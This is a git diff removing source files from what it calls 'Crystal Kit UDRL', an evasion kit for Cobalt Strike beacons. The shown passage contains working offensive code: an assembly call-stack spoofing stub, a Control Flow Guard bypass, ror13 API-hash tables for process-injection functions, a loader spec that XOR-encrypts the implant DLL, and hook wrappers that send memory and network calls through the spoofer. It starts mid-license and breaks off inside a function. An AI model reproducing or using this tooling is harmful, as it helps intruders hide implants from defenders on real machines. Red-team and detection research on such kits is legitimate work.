CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, - * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF - * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) - * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR - * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, - * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -#include -#include "tcg.h" -#include "memory.h" - -#define GETRESOURCE(x) (char *)&x - -#define memset(x, y, z) __stosb((unsigned char *)x, y, z); -#define memcpy(x, y, z) __movsb((unsigned char *)x, (unsigned char *)y, z); - -#define GETRESOURCE(x) (char *)&x - -__typeof__(GetModuleHandleA) * pGetModuleHandle __attribute__((section(".text"))); -__typeof__(GetProcAddress) * pGetProcAddress __attribute__((section(".text"))); - -typedef struct { - int length; - char value[]; -} RESOURCE; - -typedef struct { - char * start; - DWORD length; - DWORD offset; -} RDATA_SECTION; - -typedef struct { - char data[4096]; - char code[16384]; -} PICO; - -DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtAllocateVirtualMemory (HANDLE, PVOID *, ULONG_PTR, PSIZE_T, ULONG, ULONG); -DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtProtectVirtualMemory (HANDLE, PVOID *, PSIZE_T, ULONG, PULONG); -DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtFreeVirtualMemory (HANDLE, PVOID *, PSIZE_T, ULONG); -DECLSPEC_IMPORT int WINAPIV MSVCRT$strncmp (const char * string1, const char * string2, size_t count); - -typedef void (*PICOHOOK_ENTRY)(IMPORTFUNCS *, MEMORY_LAYOUT *); - -char * resolve(DWORD modHash, DWORD funcHash) { - char * hModule = (char *)findModuleByHash(modHash); - return findFunctionByHash(hModule, funcHash); -} \ No newline at end of file diff --git a/postex-udrl/src/memory.h b/postex-udrl/src/memory.h deleted file mode 100644 index 28b9094..0000000 --- a/postex-udrl/src/memory.h +++ /dev/null @@ -1,48 +0,0 @@ -/* - * Copyright 2025 Daniel Duggan, Zero-Point Security - * - * Redistribution and use in source and binary forms, with or without modification, are - * permitted provided that the following conditions are met: - * - * 1. Redistributions of source code must retain the above copyright notice, this list of - * conditions and the following disclaimer. - * - * 2. Redistributions in binary form must reproduce the above copyright notice, this list of - * conditions and the following disclaimer in the documentation and/or other materials provided - * with the distribution. - * - * 3. Neither the name of the copyright holder nor the names of its contributors may be used to - * endorse or promote products derived from this software without specific prior written - * permission. - * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS - * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF - * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE - * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, - * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF - * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) - * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR - * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, - * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -#include - -typedef struct { - void * baseAddress; - SIZE_T size; - DWORD currentProtect; - DWORD previousProtect; -} MEMORY_SECTION; - -typedef struct { - void * baseAddress; - SIZE_T size; - MEMORY_SECTION sections[5]; -} MEMORY_REGION; - -typedef struct { - MEMORY_REGION pic; - MEMORY_REGION hooks; - MEMORY_REGION dll; -} MEMORY_LAYOUT; \ No newline at end of file diff --git a/postex-udrl/src/proxy.c b/postex-udrl/src/proxy.c deleted file mode 100644 index 1ec653b..0000000 --- a/postex-udrl/src/proxy.c +++ /dev/null @@ -1,122 +0,0 @@ -/* - * Copyright 2025 Daniel Duggan, Zero-Point Security - * - * Redistribution and use in source and binary forms, with or without modification, are - * permitted provided that the following conditions are met: - * - * 1. Redistributions of source code must retain the above copyright notice, this list of - * conditions and the following disclaimer. - * - * 2. Redistributions in binary form must reproduce the above copyright notice, this list of - * conditions and the following disclaimer in the documentation and/or other materials provided - * with the distribution. - * - * 3. Neither the name of the copyright holder nor the names of its contributors may be used to - * endorse or promote products derived from this software without specific prior written - * permission. - * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS - * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF - * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE - * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, - * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF - * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) - * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR - * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, - * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -void * __attribute__((naked)) SpoofStub() -{ - __asm__ __volatile__ ( - ".intel_syntax noprefix;" - "pop rax;" // Real return address in rax - "mov r10, rdi;" // Store OG rdi in r10 - "mov r11, rsi;" // Store OG rsi in r11 - "mov rdi, [rsp + 32];" // Storing struct in rdi - "mov rsi, [rsp + 40];" // Storing function to call - - // Storing our original registers - "mov [rdi + 24], r10;" // Storing OG rdi into param - "mov [rdi + 88], r11;" // Storing OG rsi into param - "mov [rdi + 96], r12;" // Storing OG r12 into param - "mov [rdi + 104], r13;" // Storing OG r13 into param - "mov [rdi + 112], r14;" // Storing OG r14 into param - "mov [rdi + 120], r15;" // Storing OG r15 into param - "mov r12, rax;" // OG code used r12 for ret addr - - // Prepping to move stack args - "xor r11, r11;" // r11 will hold the # of args that have been pushed - "mov r13, [rsp + 0x30];" // r13 will hold the # of args total that will be pushed - "mov r14, 0x200;" // r14 will hold the offset we need to push stuff - "add r14, 8;" - "add r14, [rdi + 56];" // stack size of RtlUserStartThread - "add r14, [rdi + 48];" // stack size of BaseInitThreadThunk - "add r14, [rdi + 32];" // stack size of our gadget frame - "sub r14, 0x20;" // first stack arg is located at + 0x28 from rsp, so we sub 0x20 from the offset. Loop will sub 0x8 each time. - "mov r10, rsp;" - "add r10, 0x30;" // offset of stack arg added to rsp - "looping:;" - "xor r15, r15;" // r15 will hold the offset + rsp base - "cmp r11d, r13d;" // comparing # of stack args added vs # of stack args we need to add - "je finish;" - - // Getting location to move the stack arg to - "sub r14, 8;" // 1 arg means r11 is 0, r14 already 0x28 offset. - "mov r15, rsp;" // get current stack base - "sub r15, r14;" // subtract offset - - // Procuring the stack arg - "add r10, 8;" - "push qword ptr [r10];" - "pop qword ptr [r15];" - - // Increment the counter and loop back in case we need more args - "add r11, 1;" - "jmp looping;" - "finish:;" - "sub rsp, 0x200;" // Creating a large 320 byte frame for our fake call stack - "push 0;" // Pushing a 0 to cut off the return addresses after RtlUserThreadStart - "sub rsp, [rdi + 56];" // RtlUserThreadStart + offset frame - "mov r11, [rdi + 64];" - "mov [rsp], r11;" - "sub rsp, [rdi + 32];" // BaseThreadInitThunk + offset frame - "mov r11, [rdi + 40];" - "mov [rsp], r11;" - "sub rsp, [rdi + 48];" // Gadget frame - "mov r11, [rdi + 80];" - "mov [rsp], r11;" - // Adjusting the param struct for the fixup - "mov r11, rsi;" // Copying function to call into r11 - "mov [rdi + 8], r12;" // Real return address is now moved into the "OriginalReturnAddress" member - "mov [rdi + 16], rbx;" // original rbx is stored into "Rbx" member - "lea rbx, [rip + fixup];" // Fixup address is moved into rbx - "mov [rdi], rbx;" // Fixup member now holds the address of Fixup - "mov rbx, rdi;" // Address of param struct (Fixup)is moved into rbx - - // For indirect syscall use. If you want to use it, make sure to set ssn - // in param struct first.Otherwise, this is ignored by the callee. - "mov r10, rcx;" - "mov rax, [rdi + 72];" - "jmp r11;" - "fixup:;" - "mov rcx, rbx;" - "add rsp, 0x200;" // Remove our large frame - "add rsp, [rbx + 48];" // Adjust back for our gadget frame - "add rsp, [rbx + 32];" // Adjust back for our BaseThreadInitThunk frame - "add rsp, [rbx + 56];" // Adjust back for our RtlUserThreadStart frame - "mov rbx, [rcx + 16];" // Restoring OG RBX - "mov rdi, [rcx + 24];" // Restoring OG rdi - "mov rsi, [rcx + 88];" // Restoring OG rsi - "mov r12, [rcx + 96];" // Restoring OG r12 - "mov r13, [rcx + 104];" // Restoring OG r13 - "mov r14, [rcx + 112];" // Restoring OG r14 - "mov r15, [rcx + 120];" // Restoring OG r15 - "push rax;" - "xor rax, rax;" - "pop rax;" - "jmp qword ptr [rcx + 8];" - - ".att_syntax prefix" - ); -} \ No newline at end of file diff --git a/postex-udrl/src/proxy.h b/postex-udrl/src/proxy.h deleted file mode 100644 index 86999a8..0000000 --- a/postex-udrl/src/proxy.h +++ /dev/null @@ -1,50 +0,0 @@ -/* - * Copyright 2025 Daniel Duggan, Zero-Point Security - * - * Redistribution and use in source and binary forms, with or without modification, are - * permitted provided that the following conditions are met: - * - * 1. Redistributions of source code must retain the above copyright notice, this list of - * conditions and the following disclaimer. - * - * 2. Redistributions in binary form must reproduce the above copyright notice, this list of - * conditions and the following disclaimer in the documentation and/or other materials provided - * with the distribution. - * - * 3. Neither the name of the copyright holder nor the names of its contributors may be used to - * endorse or promote products derived from this software without specific prior written - * permission. - * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS - * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF - * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE - * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, - * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF - * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) - * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR - * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, - * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -#include - -typedef struct _DRAUGR_PARAMETERS { - PVOID Fixup; // 0 - PVOID OriginalReturnAddress; // 8 - PVOID Rbx; // 16 - PVOID Rdi; // 24 - PVOID BaseThreadInitThunkStackSize; // 32 - PVOID BaseThreadInitThunkReturnAddress; // 40 - PVOID TrampolineStackSize; // 48 - PVOID RtlUserThreadStartStackSize; // 56 - PVOID RtlUserThreadStartReturnAddress; // 64 - PVOID Ssn; // 72 - PVOID Trampoline; // 80 - PVOID Rsi; // 88 - PVOID R12; // 96 - PVOID R13; // 104 - PVOID R14; // 112 - PVOID R15; // 120 -} DRAUGR_PARAMETERS, * PDRAUGR_PARAMETERS; - -typedef PVOID (*DRAUGR)(PVOID, PVOID, PVOID, PVOID, PDRAUGR_PARAMETERS, PVOID, SIZE_T, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID, PVOID); \ No newline at end of file diff --git a/postex-udrl/src/tp.h b/postex-udrl/src/tp.h deleted file mode 100644 index 64ef4f6..0000000 --- a/postex-udrl/src/tp.h +++ /dev/null @@ -1,41 +0,0 @@ -/* - * Copyright 2025 Daniel Duggan, Zero-Point Security - * - * Redistribution and use in source and binary forms, with or without modification, are - * permitted provided that the following conditions are met: - * - * 1. Redistributions of source code must retain the above copyright notice, this list of - * conditions and the following disclaimer. - * - * 2. Redistributions in binary form must reproduce the above copyright notice, this list of - * conditions and the following disclaimer in the documentation and/or other materials provided - * with the distribution. - * - * 3. Neither the name of the copyright holder nor the names of its contributors may be used to - * endorse or promote products derived from this software without specific prior written - * permission. - * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS - * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF - * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE - * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, - * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF - * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) - * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR - * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, - * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -#include - -typedef struct { - ULONG_PTR functionPtr; - ULONG_PTR argument1; - ULONG_PTR argument2; - ULONG_PTR argument3; - ULONG_PTR argument4; - ULONG_PTR argument5; - ULONG_PTR argument6; -} NTARGS; - -VOID ProxyNtApi(NTARGS * args); \ No newline at end of file diff --git a/udrl/Makefile b/udrl/Makefile deleted file mode 100644 index 7097f8f..0000000 --- a/udrl/Makefile +++ /dev/null @@ -1,14 +0,0 @@ -CC_64=x86_64-w64-mingw32-gcc - -all: bin/loader.x64.o - -bin: - mkdir bin - -bin/loader.x64.o: bin - $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/loader.c -o bin/loader.x64.o - $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/proxy.c -o bin/proxy.x64.o - $(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/hook.c -o bin/hook.x64.o - -clean: - rm -f bin/* diff --git a/udrl/loader.spec b/udrl/loader.spec deleted file mode 100644 index 87d069c..0000000 --- a/udrl/loader.spec +++ /dev/null @@ -1,37 +0,0 @@ -name "Crystal Kit UDRL" -describe "Evasion Kit for Cobalt Strike" -author "Daniel Duggan (@_RastaMouse)" - -x64: - load "bin/loader.x64.o" - make pic +gofirst +optimize +disco +mutate - dfr "resolve" "ror13" - mergelib "../libtcg.x64.zip" - mergelib "../libtp.x64.zip" - - load "bin/proxy.x64.o" - make pic - export - preplen - link "draugr" - - generate $KEY 128 - - load "bin/hook.x64.o" - make object +optimize +disco - mergelib "../libtcg.x64.zip" - patch "xorkey" $KEY - import "LoadLibraryA, GetProcAddress, SpoofStub" - export - link "hooks" - - push $DLL - xor $KEY - preplen - link "dll" - - push $KEY - preplen - link "key" - - export \ No newline at end of file diff --git a/udrl/src/cfg.h b/udrl/src/cfg.h deleted file mode 100644 index 19ece14..0000000 --- a/udrl/src/cfg.h +++ /dev/null @@ -1,115 +0,0 @@ -#include - -#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) -#define NtCurrentProcess() ((HANDLE)(ULONG_PTR)-1) - -typedef struct { - ULONG ExtendedProcessInfo; - ULONG ExtendedProcessInfoBuffer; -} EXTENDED_PROCESS_INFORMATION, * PEXTENDED_PROCESS_INFORMATION; - -typedef enum _PROCESSINFOCLASS { - ProcessUserModeIOPL = 16, - ProcessCookie = 36 -} PROCESSINFOCLASS; - -typedef struct _VM_INFORMATION { - DWORD dwNumberOfOffsets; - PULONG plOutput; - PCFG_CALL_TARGET_INFO ptOffsets; - PVOID pMustBeZero; - PVOID pMoarZero; -} VM_INFORMATION, * PVM_INFORMATION; - -typedef enum _VIRTUAL_MEMORY_INFORMATION_CLASS { - VmPrefetchInformation, - VmPagePriorityInformation, - VmCfgCallTargetInformation -} VIRTUAL_MEMORY_INFORMATION_CLASS; - -typedef struct _MEMORY_RANGE_ENTRY { - PVOID VirtualAddress; - SIZE_T NumberOfBytes; -} MEMORY_RANGE_ENTRY, * PMEMORY_RANGE_ENTRY; - -typedef enum _MEMORY_INFORMATION_CLASS { - MemoryBasicInformation -} MEMORY_INFORMATION_CLASS; - -DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryInformationProcess (HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG); -DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtQueryVirtualMemory (HANDLE, PVOID, MEMORY_INFORMATION_CLASS, PVOID, SIZE_T, PSIZE_T); -DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtSetInformationVirtualMemory (HANDLE, VIRTUAL_MEMORY_INFORMATION_CLASS, SIZE_T, PMEMORY_RANGE_ENTRY, PVOID, ULONG); - -BOOL CfgEnabled() -{ - EXTENDED_PROCESS_INFORMATION procInfo; - memset(&procInfo, 0, sizeof(EXTENDED_PROCESS_INFORMATION)); - - NTSTATUS status = 0; - - procInfo.ExtendedProcessInfo = ProcessControlFlowGuardPolicy; - procInfo.ExtendedProcessInfoBuffer = 0; - - status = NTDLL$NtQueryInformationProcess(NtCurrentProcess(), ProcessCookie | ProcessUserModeIOPL, &procInfo, sizeof(procInfo), NULL); - - if (!NT_SUCCESS(status)) { - return FALSE; - } - - return procInfo.ExtendedProcessInfoBuffer; -} - -BOOL BypassCfg(PVOID address) -{ - MEMORY_BASIC_INFORMATION mbi; - VM_INFORMATION vmi; - MEMORY_RANGE_ENTRY mre; - CFG_CALL_TARGET_INFO cti; - - memset(&mbi, 0, sizeof(MEMORY_BASIC_INFORMATION)); - memset(&vmi, 0, sizeof(VM_INFORMATION)); - memset(&mre, 0, sizeof(MEMORY_RANGE_ENTRY)); - memset(&cti, 0, sizeof(CFG_CALL_TARGET_INFO)); - - NTSTATUS status = NTDLL$NtQueryVirtualMemory(NtCurrentProcess(), address, MemoryBasicInformation, &mbi, sizeof(mbi), 0); - - if (!NT_SUCCESS(status)) { - return FALSE; - } - - if (mbi.State != MEM_COMMIT || mbi.Type != MEM_IMAGE) { - return FALSE; - } - - cti.Offset = (ULONG_PTR)address - (ULONG_PTR)mbi.BaseAddress; - cti.Flags = CFG_CALL_TARGET_VALID; - - mre.NumberOfBytes = (SIZE_T)mbi.RegionSize; - mre.VirtualAddress = (PVOID)mbi.BaseAddress; - - ULONG dwOutput = 0; - - vmi.dwNumberOfOffsets = 0x1; - vmi.plOutput = &dwOutput; - vmi.ptOffsets = &cti; - vmi.pMustBeZero = 0x0; - vmi.pMoarZero = 0x0; - - status = NTDLL$NtSetInformationVirtualMemory(NtCurrentProcess(), VmCfgCallTargetInformation, 1, &mre, (PVOID)&vmi, (ULONG)sizeof(vmi)); - - if (status == 0xC00000F4) { - /* the size parameter is not valid. try 24 instead, which is a known size for older windows versions */ - status = NTDLL$NtSetInformationVirtualMemory(NtCurrentProcess(), VmCfgCallTargetInformation, 1, &mre, (PVOID)&vmi, 24); - } - - if (!NT_SUCCESS(status)) { - /* STATUS_INVALID_PAGE_PROTECTION - CFG wasn't enabled */ - if (status == 0xC0000045) { - /* pretend we bypassed it so timers can continue */ - return TRUE; - } - return FALSE; - } - - return TRUE; -} \ No newline at end of file diff --git a/udrl/src/hash.h b/udrl/src/hash.h deleted file mode 100644 index 4c27cb3..0000000 --- a/udrl/src/hash.h +++ /dev/null @@ -1,87 +0,0 @@ -/* - * Copyright 2025 Daniel Duggan, Zero-Point Security - * - * Redistribution and use in source and binary forms, with or without modification, are - * permitted provided that the following conditions are met: - * - * 1. Redistributions of source code must retain the above copyright notice, this list of - * conditions and the following disclaimer. - * - * 2. Redistributions in binary form must reproduce the above copyright notice, this list of - * conditions and the following disclaimer in the documentation and/or other materials provided - * with the distribution. - * - * 3. Neither the name of the copyright holder nor the names of its contributors may be used to - * endorse or promote products derived from this software without specific prior written - * permission. - * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS - * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF - * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE - * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, - * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF - * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) - * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR - * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, - * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -#include - -#define KERNEL32DLL_HASH 0x6A4ABC5B -#define NTDLLDLL_HASH 0x3CFA685D - -#define TEXT_HASH 0xEBC2F9B4 - -#define LOADLIBRARYA_HASH 0xEC0E4E8E -#define GETPROCADDRESS_HASH 0x7C0DFCAA -#define RTLLOOKUPFUNCTIONENTRY_HASH 0xC1D846D9 -#define GETMODULEHANDLEA_HASH 0xD3324904 -#define VIRTUALALLOC_HASH 0x91AFCA54 -#define VIRTUALALLOCEX_HASH 0x6E1A959C -#define VIRTUALPROTECT_HASH 0x7946C61B -#define VIRTUALPROTECTEX_HASH 0x53D98756 -#define VIRTUALFREE_HASH 0x30633AC -#define GETTHREADCONTEXT_HASH 0x68A7C7D2 -#define SETTHREADCONTEXT_HASH 0xE8A7C7D3 -#define INTERNETOPENA_HASH 0x57E84429 -#define INTERNETCONNECTA_HASH 0x1E4BE80E -#define RESUMETHREAD_HASH 0x9E4A3F88 -#define CREATETHREAD_HASH 0xCA2BD06B -#define CREATEREMOTETHREAD_HASH 0x72BD9CDD -#define OPENPROCESS_HASH 0xEFE297C0 -#define OPENTHREAD_HASH 0x58C91E6F -#define CLOSEHANDLE_HASH 0xFFD97FB -#define CREATEFILEMAPPINGA_HASH 0x56C61229 -#define MAPVIEWOFFILE_HASH 0x7B073C59 -#define UNMAPVIEWOFFILE_HASH 0xB2089259 -#define VIRTUALQUERY_HASH 0xA3C8C8AA -#define DUPLICATEHANDLE_HASH 0xBD566724 -#define READPROCESSMEMORY_HASH 0x579D1BE9 -#define WRITEPROCESSMEMORY_HASH 0xD83D6AA1 -#define EXITTHREAD_HASH 0x60E0CEEF -#define CREATEPROCESSA_HASH 0x16B3FE72 -#define SLEEP_HASH 0xDB2D49B0 -#define COCREATEINSTANCE_HASH 0x6E26C880 - -#define HASH_KEY 13 - -#ifndef __MINGW32__ -#pragma intrinsic( _rotr ) -#endif - -__forceinline DWORD ror( DWORD d ) { - return _rotr( d, HASH_KEY ); -} - -__forceinline DWORD hash( char * c ) -{ - register DWORD h = 0; - do - { - h = ror( h ); - h += *c; - } while( *++c ); - - return h; -} \ No newline at end of file diff --git a/udrl/src/hook.c b/udrl/src/hook.c deleted file mode 100644 index a9049ee..0000000 --- a/udrl/src/hook.c +++ /dev/null @@ -1,695 +0,0 @@ -/* - * Copyright 2025 Daniel Duggan, Zero-Point Security - * - * Redistribution and use in source and binary forms, with or without modification, are - * permitted provided that the following conditions are met: - * - * 1. Redistributions of source code must retain the above copyright notice, this list of - * conditions and the following disclaimer. - * - * 2. Redistributions in binary form must reproduce the above copyright notice, this list of - * conditions and the following disclaimer in the documentation and/or other materials provided - * with the distribution. - * - * 3. Neither the name of the copyright holder nor the names of its contributors may be used to - * endorse or promote products derived from this software without specific prior written - * permission. - * - * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS - * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF - * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE - * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, - * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF - * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) - * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR - * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, - * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -#include -#include -#include "hook.h" -#include "cfg.h" -#include "tcg.h" - -/* store resolved functions */ -void * g_InternetOpenA; -void * g_InternetConnectA; -void * g_CoCreateInstance; -void * g_ExitThread; - -/* patched in from loader.spec */ -char xorkey[128] = { 1 }; - -/* some globals */ -MEMORY_LAYOUT g_layout; - -LPVOID WINAPI _VirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) -{ - FUNCTION_CALL call; - memset(&call, 0, sizeof(FUNCTION_CALL)); - - call.function = (PVOID)(KERNEL32$VirtualAlloc); - call.argc = 4; - call.args[0] = (ULONG_PTR)(lpAddress); - call.args[1] = (ULONG_PTR)(dwSize); - call.args[2] = (ULONG_PTR)(flAllocationType); - call.args[3] = (ULONG_PTR)(flProtect); - - return (LPVOID)draugr(&call); -} - -LPVOID WINAPI _VirtualAllocEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) -{ - FUNCTION_CALL call; - memset(&call, 0, sizeof(FUNCTION_CALL)); - - call.function = (PVOID)(KERNEL32$VirtualAllocEx); - call.argc = 5; - call.args[0] = (ULONG_PTR)(hProcess); - call.args[1] = (ULONG_PTR)(lpAddress); - call.args[2] = (ULONG_PTR)(dwSize); - call.args[3] = (ULONG_PTR)(flAllocationType); - call.args[4] = (ULONG_PTR)(flProtect); - - return (LPVOID)draugr(&call); -} - -BOOL WINAPI _VirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect) -{ - FUNCTION_CALL call; - memset(&call, 0, sizeof(FUNCTION_CALL)); - - call.function = (PVOID)(KERNEL32$VirtualProtect); - call.argc = 4; - call.args[0] = (ULONG_PTR)(lpAddress); - call.args[1] = (ULONG_PTR)(dwSize); - call.args[2] = (ULONG_PTR)(flNewProtect); - call.args[3] = (ULONG_PTR)(lpflOldProtect); - - return (BOOL)draugr(&call); -} - -BOOL WINAPI _VirtualProtectEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect) -{ - FUNCTION_CALL call; - memset(&call, 0, sizeof(FUNCTION_CALL)); - - call.function = (PVOID)(KERNEL32$VirtualProtectEx); - call.argc = 5; - call.args[0] = (ULONG_PTR)(hProcess); - call.args[1] = (ULONG_PTR)(lpAddress); - call.args[2] = (ULONG_PTR)(dwSize); - call.args[3] = (ULONG_PTR)(flNewProtect); - call.args[4] = (ULONG_PTR)(lpflOldProtect); - - return (BOOL)draugr(&call); -} - -BOOL WINAPI _VirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType) -{ - FUNCTION_CALL call; - memset(&call, 0, sizeof(FUNCTION_CALL)); - - call.function = (PVOID)(KERNEL32$VirtualFree); - call.argc = 3; - call.args[0] = (ULONG_PTR)(lpAddress); - call.args[1] = (ULONG_PTR)(dwSize); - call.args[2] = (ULONG_PTR)(dwFreeType); - - return (BOOL)draugr(&call); -} - -BOOL WINAPI _GetThreadContext(HANDLE hThread, LPCONTEXT lpContext) -{ - FUNCTION_CALL call; - memset(&call, 0, sizeof(FUNCTION_CALL)); - - call.function = (PVOID)(KERNEL32$GetThreadContext); - call.argc = 2; - call.args[0] = (ULONG_PTR)(hThread); - call.args[1] = (ULONG_PTR)(lpContext); - - return (BOOL)draugr(&call); -} - -BOOL WINAPI _SetThreadContext(HANDLE hThread, const CONTEXT *lpContext) -{ - FUNCTION_CALL call; - memset(&call, 0, sizeof(FUNCTION_CALL)); - - call.function = (PVOID)(KERNEL32$SetThreadContext); - call.argc = 2; - call.args[0] = (ULONG_PTR)(hThread); - call.args[1] = (ULONG_PTR)(lpContext); - - return (BOOL)draugr(&call); -} - -HINTERNET WINAPI _InternetOpenA(LPCSTR lpszAgent, DWORD dwAccessType, LPCSTR lpszProxy, LPCSTR lpszProxyBypass, DWORD dwFlags) -{ - FUNCTION_CALL call; - memset(&call, 